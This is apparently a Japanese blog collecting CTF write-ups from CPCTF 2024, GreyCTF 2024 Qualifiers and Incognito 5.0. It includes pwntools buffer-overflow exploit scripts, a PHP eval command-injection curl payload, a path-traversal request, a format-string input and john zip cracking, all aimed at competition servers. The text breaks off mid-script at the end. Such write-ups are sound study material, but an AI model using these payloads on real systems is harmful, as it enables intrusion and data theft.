CPCTF 2024 Writeup

この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
この大会は個人戦。結果は1258点で155チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。

netcat (Shell, NEWBIE)

$ nc shell-netcat.web.cpctf.space 30010     
CPCTF{nc_means_netcat}
CPCTF{nc_means_netcat}

veeeeeeery long text (Shell, EASY)

$ ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011
The authenticity of host '[veeeeeeery-long-text.web.cpctf.space]:30011 ([160.251.173.212]:30011)' can't be established.
ED25519 key fingerprint is SHA256:Yvdru5SCX5nmOaDr1cJTqK8rjP6vLZfEaEtkRncV+Uc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[veeeeeeery-long-text.web.cpctf.space]:30011' (ED25519) to the list of known hosts.
user@veeeeeeery-long-text.web.cpctf.space's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-79-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr 20 13:52:44 2024 from 106.154.142.142
$ ls
flag.txt
$ cat flag.txt | grep CPCTF
CPCTF{p1pe_15_u5efu1}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X
CPCTF{p1pe_15_u5efu1}

About half (PPC)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
飴が全部で A+B 個あって、Aliceに A 個、Bobに B 個分けました。
AliceとBobは、相手の持っている飴の個数が、自分の持っている飴の個数の 2 倍より大きいとき、分け方に文句を言います。
この分け方にAliceもBobも文句を言わないかどうか判定をしてください。

制約
・入力はすべて整数
・1≤A,B≤500

入力
入力は以下の形式で標準入力から与えられる。

A B

出力
AliceもBobも文句を言わないならばYes、AliceとBobのどちらかでも文句を言うならばNoを出力してください。

以下のプログラムで、通った。

a, b = map(int, input().split())
if a > b * 2:
    print('No')
elif b > a * 2:
    print('No')
else:
    print('Yes')
CPCTF{n07_h41f}

Compound Word (PPC, NEWBIE)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
N 個の文字列 S1, S2 , ⋯,SN が与えられる。
これらの文字列のうち、異なる二つの文字列 Si, Sj を選び、Si Sj の順につなげた文字列を T をします。
この時、T としてあり得る文字列は何通りあるか求めてください。

制約
・N は整数
・2≤N≤50
・Si は英小文字からなる文字列
・1≤∣Si∣≤100
・Si ≠ Sj (i ≠ j)
・∑ | Si | ≤ 300

入力
入力は以下の形式で標準入力から与えられる。

N
S1 
⋮
SN
​
出力
答えを出力せよ。

以下のプログラムで、通った。

import itertools

N = int(input())
words = []
for _ in range(N):
    word = input()
    words.append(word)

str_list = []
for c in itertools.permutations(words, 2):
    s = ''.join(c)
    str_list.append(s)

ans = len(set(str_list))
print(ans)
CPCTF{Set_is_Useful_ki70v9354v7onymw}

mokomoko(OSINT, NEWBIE)

画像検索すると、以下のぺージが見つかる。

https://weathernews.jp/s/topics/201810/180115/

ひたち海浜公園の電話番号は029-265-9001。

CPCTF{0292659001}

Attack! Attack! Win! (Pwn, NEWBIE)

$ nc attack_attack_win.web.cpctf.space 30005


Defeat the enemy to get the flag!


YourHP:100
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

3

Memory leak!
Attack     : 0x55eba06a1070
Heal       : 0x55eba06a1078
HocusPocus : 0x55eba06a1080
win        : 0x55eba06a1058

このメモリの状況から、1がAttack、2がHeal、3がHocusPocusで、Atackより3小さい数字である-2を指定すればwinが実行されることがわかる。

YourHP:50
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

-2

You got the flag!
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}
YourHP:0
enemyHp:100

You lose...
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}

CPCT...... (Pwn, EASY)

FSBを使い、5文字以上の長さを取るようにする。

$ nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%64x
Thank you!
Your input:                                                        c4fd6a80
Length: 64
This is your reward!
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}

The sky's the limit (Pwn, EASY)

BOFでwin関数をコールすればよい。ただし、strlenで長さのチェックがあるので、途中"\x00"を入れ、入力文字列の長さを偽装する。

$ ROPgadget --binary chall | grep ": ret" 
0x000000000040101a : ret
from pwn import *

if len(sys.argv) == 1:
    p = remote('the_skys_the_limit.web.cpctf.space', 30007)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 15
payload += b'\x00' * (24 - len(payload))
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to the_skys_the_limit.web.cpctf.space on port 30007: Done
[*] '/media/sf_Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x89\x12@\x00\x00\x00\x00\x00'
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}Segmentation fault (core dumped)
[*] Closed connection to the_skys_the_limit.web.cpctf.space port 30007
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}

peeping (Binary, NEWBIE)

$ strings chall | grep CPCTF    
CPCTF{b3_4_cLa1rv0yANt}
CPCTF{b3_4_cLa1rv0yANt}

Just reversing? (Binary, EASY)

flagの各インデックスのASCIIコード(chr)に対して以下のように暗号化している。

flag_enc[strlen(flag) - i - 1] = chr / 16 + chr % 16 * 16;

逆算し、復号する。

#!/usr/bin/env python3
with open('flag_enc.txt', 'rb') as f:
    enc = f.read()

flag = ''
for i in range(len(enc)):
    c = enc[len(enc) - i - 1]
    flag += chr((c % 16) * 16 + (c // 16))
print(flag)
CPCTF{l17Er4llY_r3vErs1nG}

Number Guesser (Binary, EASY)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_1a;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1a = 0;
  local_12 = 0;
  puts("Guess the number!");
  __isoc99_scanf(&DAT_00102016,&local_1a);
  if (((((char)local_1a == '1') && (local_1a._1_1_ == '7')) && (local_1a._2_1_ == '7')) &&
     (((local_1a._3_1_ == '0' && (local_1a._4_1_ == '4')) && (local_1a._5_1_ == '\0')))) {
    printFlag(&local_1a);
  }
  else {
    puts("Wrong...");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

番号は17704を指定すればよい。

$ ./chall    
Guess the number!
17704
CPCTF{l4Ck3Y_NuMb3R!}
CPCTF{l4Ck3Y_NuMb3R!}

Typing game (Web, NEWBIE)

タイピングを10秒以内に行えば、フラグが表示されるようだ。
https://typing-game.web.cpctf.space/main.jsを見ると、以下のように書いてあった。

document.getElementById("flag").textContent = "CPCTF{y0u_4r3_4_typ1ng_m45t3r}";
CPCTF{y0u_4r3_4_typ1ng_m45t3r}

Let's buy some array (Web, EASY)

evalを使って結果を表示しているので、コマンドインジェクションを行う。

$ curl https://lets-buy-some-array.web.cpctf.space/purchase.php -d 'quantity1=system("env");1&quantity2=1&quantity3=1'
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td>system("env");1</td>
                    <td>APACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}</td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td>1</td>
                    <td>2000</td>

                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td>1</td>
                    <td>1500</td>
                </tr>
            </table>
            <p>合計金額はAPACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}円です。この画面を実店舗の店員にご提示ください。</p>
        </form>
    </body>
</html>

環境変数のFLAGにフラグが設定されていた。

CPCTF{3x3c_Func710n_1s_d4ng3r0u5}

Read Novels (Web)

パストラバーサルでflagファイルを読み取る。

$ curl https://read-novels.web.cpctf.space/novel?name=../flag                                                         
<!DOCTYPE html>
<html>
  <head>
    <title>../flag</title>
    <style></style>
  </head>
  <body style="white-space: pre-wrap">
    <h1>../flag</h1>
    CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}
  </body>
</html>
CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}

white has much information (Forensics, EASY)

Whitespace言語。https://www.dcode.fr/whitespace-languageで読み取る。

CPCTF{C4n_y0u_533_7h15?}

Substitution (Crypto, NEWBIE)

換字式暗号と推測し、quipqiupで復号する。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{hello_crypto_world}
CPCTF{hello_crypto_world}

RSA Trial (Crypto, EASY)

hint = p ** 3 + q ** 3
     = (p + q) ** 3 - 3 * p * q * (p + q)
     = (p + q) ** 3 - 3 * n * (p + q)

p + q = xとすると、xの3次方程式になり、p + qを求めることができる。
phiは以下のように計算し、求めることができる。

phi = (p - 1) * (q - 1) = p * q - (p + q) + 1
    = n - (p + q) + 1

phiがわかれば、dを算出でき、復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.py', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])
hint = int(params[3].split(' ')[-1])

x = sympy.Symbol('x')
eq = x ** 3 - 3 * n * x - hint
xs = sympy.solve(eq)
for x in xs:
    if x.is_Integer:
        x = int(x)
        break

phi = n - x + 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CPCTF{Equ47i0n5_4r3_v3ry_h31pfu1}

Grey Cat The Flag 2024 Qualifiers Writeup

この大会は2024/4/20 13:00(JST)~2024/4/21 13:00(JST)に開催されました。
今回もチームで参戦。結果は600点で407チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

grey{w3lc0m3_to_gctf2024_enjoy_your_stay!}

Cashhat The Ripper (MISC)

zipにパスワードがかかっているので、クラックする。

$ zip2john challenge.zip > zip.hash
ver 2.0 efh 5455 efh 7875 challenge.zip/flag.txt PKZIP Encr: TS_chk, cmplen=123, decmplen=117, crc=69101057 ts=6604 cs=6604 type=8
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt                  
Warning! john.conf section [list.rules:replaceletterscaps] is multiple declared.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123mango         (challenge.zip/flag.txt)     
1g 0:00:00:00 DONE (2024-04-20 15:28) 2.439g/s 5794Kp/s 5794Kc/s 5794KC/s 12hyre..123aniyah
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで解凍する。

$ unzip challenge.zip
Archive:  challenge.zip
[challenge.zip] flag.txt password: 
  inflating: flag.txt                
$ cat flag.txt         
Congratulations on cracking the password-protected zip file! Here is your flag:
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}

All About Timing (MISC)

UNIXTIMEの整数値がseedになっていることがわかっているので、乱数の値を予測できる。
しかし時間が少しずれているようなので、ずれている時間を考慮して予測する。

#!/usr/bin/env python3
import socket
import time
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time())
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])

for diff in range(-10, 0):
    tm = cur + diff
    random.seed(tm)
    x = random.randint(1000000000000000, 10000000000000000-1)
    if x == n:
        print(diff)
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time()) + diff
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Guess the number I'm thinking of? It's all about the timing
Your guess:1980674828191200
Wrong answer! The number I was thinking of was 7740404356175268
-2
Guess the number I'm thinking of? It's all about the timing
Your guess:7740404356175268
grey{t1m3_i5_a_s0c1al_coNstRucT}
grey{t1m3_i5_a_s0c1al_coNstRucT}

Grey Divers (MISC)

いろいろ調べたところゲームの各戦略支援のコマンドが関係していると推測できる。
以下のページで調べたコマンドを整理する。

https://helldivers.fandom.com/wiki/Eagle_500kg_Bomb
https://helldivers.fandom.com/wiki/Stratagem_Codes_(Helldivers_2)
1.Eagle 500 Kg Bomb:上右下下下
2.GL-21 Grenade Launcher:下左上左下
3.MD-I4 Incendiary Mines:下左左下
4.Orbital Gas Strike:右右下右
5.Orbital Airburst Strike:右右右
6.Eagle Rearm:上上左上右
7.Eagle 110MM Rocket Pods:上右上左

Homeから上のコマンドの通り文字をたどる。

GREY{i3mm_e1w3st_2_n3oU10o3E!}

フラグの形式はgrey{***}であるので、それに合わせる。

grey{i3mm_e1w3st_2_n3oU10o3E!}

Baby Goods (PWN)

buildpram関数内でBOFでsub_15210123関数をコールできれば良い。

$ gdb -q ./babygoods                                                                                                  
Reading symbols from ./babygoods...
(No debugging symbols found in ./babygoods)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/babygoods 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: Build new pram
2: Exit
Input: 1

Choose the size of the pram (1-5): 5

Your pram has been created! Give it a name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

New pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdec8 --> 0x7fffffffe23e ("/media/sf_Shared/babygoods")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc20 ("\nNew pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!\n")
RDI: 0x7fffffffbb00 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401328 (<buildpram+206>: ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffded8 --> 0x7fffffffe259 ("CLUTTER_IM_MODULE=xim")
R14: 0x403e18 --> 0x401200 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40131d <buildpram+195>:    call   0x4010e0 <printf@plt>
   0x401322 <buildpram+200>:    mov    eax,0x0
   0x401327 <buildpram+205>:    leave
=> 0x401328 <buildpram+206>:    ret
   0x401329 <exitshop>: endbr64
   0x40132d <exitshop+4>:       push   rbp
   0x40132e <exitshop+5>:       mov    rbp,rsp
   0x401331 <exitshop+8>:       lea    rax,[rip+0xd70]        # 0x4020a8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdd80 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdd88 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffdd90 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffdda0 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffdda8 ("AAKAAgAA6AAL")
0056| 0x7fffffffddb0 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401328 in buildpram ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary babygoods | grep ": ret" 
0x000000000040101a : ret
0x0000000000401490 : ret 0x20be
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.nusgreyhats.org', 32345)
else:
    p = process('./babygoods')

elf = ELF('./babygoods')

ret_addr = 0x40101a
sub_addr = elf.symbols['sub_15210123']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(sub_addr)

name = 'hoge'
size = '5'
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + '1')
p.sendline(b'1')
data = p.recvuntil(b': ').decode()
print(data + size)
p.sendline(size.encode())
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.nusgreyhats.org on port 32345: Done
[*] '/media/sf_Shared/babygoods'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: 1
Build new pram
2: 5
Exit
Input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x12@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

Choose the size of the pram (1-5): 
Your pram has been created! Give it a name: 
New pram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ of size 5 has been created!
$ ls
flag.txt
run
$ cat flag.txt
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}

The REAL GreyCTF Survey (FEEDBACK)

アンケートに答えたら、フラグが表示された。

grey{1_h0p3_y0u_3nj0y3d!!!!!!}

Incognito 5.0 Writeup

この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
今回は個人で参戦。結果は850点で275チーム中79位でした。
自分で解けた問題をWriteupとして書いておきます。

Vault (Reverse 150)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *pcVar2;
  char local_78 [112];
  
  printf("Enter the secret code: ");
  __isoc99_scanf(&DAT_0010201c,local_78);
  pcVar2 = (char *)flag();
  iVar1 = strcmp(local_78,pcVar2);
  if (iVar1 == 0) {
    puts("Access Granted!");
    pcVar2 = (char *)flag();
    puts(pcVar2);
  }
  else {
    puts("Access Denied!");
  }
  return 0;
}

undefined1 * flag(void)

{
  int local_c;
  
  for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
    flagArray.0[local_c] = (char)*(undefined4 *)(ascii_values.1 + (long)local_c * 4);
  }
  flagArray.0[26] = 0;
  return flagArray.0;
}

                             ascii_values.1                                  XREF[2]:     flag:0010118a(*), 
                                                                                          flag:00101191(*)  
        00104040 69 00 00        undefine
                 00 63 00 
                 00 00 74 
           00104040 69              undefined169h                     [0]                               XREF[2]:     flag:0010118a(*), 
                                                                                                                     flag:00101191(*)  
           00104041 00              undefined100h                     [1]
           00104042 00              undefined100h                     [2]
           00104043 00              undefined100h                     [3]
           00104044 63              undefined163h                     [4]
           00104045 00              undefined100h                     [5]
           00104046 00              undefined100h                     [6]
           00104047 00              undefined100h                     [7]
           00104048 74              undefined174h                     [8]
           00104049 00              undefined100h                     [9]
           0010404a 00              undefined100h                     [10]
           0010404b 00              undefined100h                     [11]
           0010404c 66              undefined166h                     [12]
           0010404d 00              undefined100h                     [13]
           0010404e 00              undefined100h                     [14]
           0010404f 00              undefined100h                     [15]
           00104050 7b              undefined17Bh                     [16]
           00104051 00              undefined100h                     [17]
           00104052 00              undefined100h                     [18]
           00104053 00              undefined100h                     [19]
           00104054 77              undefined177h                     [20]
           00104055 00              undefined100h                     [21]
           00104056 00              undefined100h                     [22]
           00104057 00              undefined100h                     [23]
           00104058 65              undefined165h                     [24]
           00104059 00              undefined100h                     [25]
           0010405a 00              undefined100h                     [26]
           0010405b 00              undefined100h                     [27]
           0010405c 6c              undefined16Ch                     [28]
           0010405d 00              undefined100h                     [29]
           0010405e 00              undefined100h                     [30]
           0010405f 00              undefined100h                     [31]
           00104060 63              undefined163h                     [32]
           00104061 00              undefined100h                     [33]
           00104062 00              undefined100h                     [34]
           00104063 00              undefined100h                     [35]
           00104064 30              undefined130h                     [36]
           00104065 00              undefined100h                     [37]
           00104066 00              undefined100h                     [38]
           00104067 00              undefined100h                     [39]
           00104068 6d              undefined16Dh                     [40]
           00104069 00              undefined100h                     [41]
           0010406a 00              undefined100h                     [42]
           0010406b 00              undefined100h                     [43]
           0010406c 65              undefined165h                     [44]
           0010406d 00              undefined100h                     [45]
           0010406e 00              undefined100h                     [46]
           0010406f 00              undefined100h                     [47]
           00104070 5f              undefined15Fh                     [48]
           00104071 00              undefined100h                     [49]
           00104072 00              undefined100h                     [50]
           00104073 00              undefined100h                     [51]
           00104074 74              undefined174h                     [52]
           00104075 00              undefined100h                     [53]
           00104076 00              undefined100h                     [54]
           00104077 00              undefined100h                     [55]
           00104078 30              undefined130h                     [56]
           00104079 00              undefined100h                     [57]
           0010407a 00              undefined100h                     [58]
           0010407b 00              undefined100h                     [59]
           0010407c 5f              undefined15Fh                     [60]
           0010407d 00              undefined100h                     [61]
           0010407e 00              undefined100h                     [62]
           0010407f 00              undefined100h                     [63]
           00104080 72              undefined172h                     [64]
           00104081 00              undefined100h                     [65]
           00104082 00              undefined100h                     [66]
           00104083 00              undefined100h                     [67]
           00104084 65              undefined165h                     [68]
           00104085 00              undefined100h                     [69]
           00104086 00              undefined100h                     [70]
           00104087 00              undefined100h                     [71]
           00104088 76              undefined176h                     [72]
           00104089 00              undefined100h                     [73]
           0010408a 00              undefined100h                     [74]
           0010408b 00              undefined100h                     [75]
           0010408c 33              undefined133h                     [76]
           0010408d 00              undefined100h                     [77]
           0010408e 00              undefined100h                     [78]
           0010408f 00              undefined100h                     [79]
           00104090 72              undefined172h                     [80]
           00104091 00              undefined100h                     [81]
           00104092 00              undefined100h                     [82]
           00104093 00              undefined100h                     [83]
           00104094 73              undefined173h                     [84]
           00104095 00              undefined100h                     [85]
           00104096 00              undefined100h                     [86]
           00104097 00              undefined100h                     [87]
           00104098 31              undefined131h                     [88]
           00104099 00              undefined100h                     [89]
           0010409a 00              undefined100h                     [90]
           0010409b 00              undefined100h                     [91]
           0010409c 6e              undefined16Eh                     [92]
           0010409d 00              undefined100h                     [93]
           0010409e 00              undefined100h                     [94]
           0010409f 00              undefined100h                     [95]
           001040a0 67              undefined167h                     [96]
           001040a1 00              undefined100h                     [97]
           001040a2 00              undefined100h                     [98]
           001040a3 00              undefined100h                     [99]
           001040a4 7d              undefined17Dh                     [100]
           001040a5 00              undefined100h                     [101]
           001040a6 00              undefined100h                     [102]
           001040a7 00              undefined100h                     [103]

ascii_values.1について、4バイトごとにASCIIコードを文字にする。

#!/usr/bin/env python3
codes = [0x69, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 
    0x00, 0x66, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00,
    0x00, 0x65, 0x00, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00,
    0x00, 0x30, 0x00, 0x00, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00,
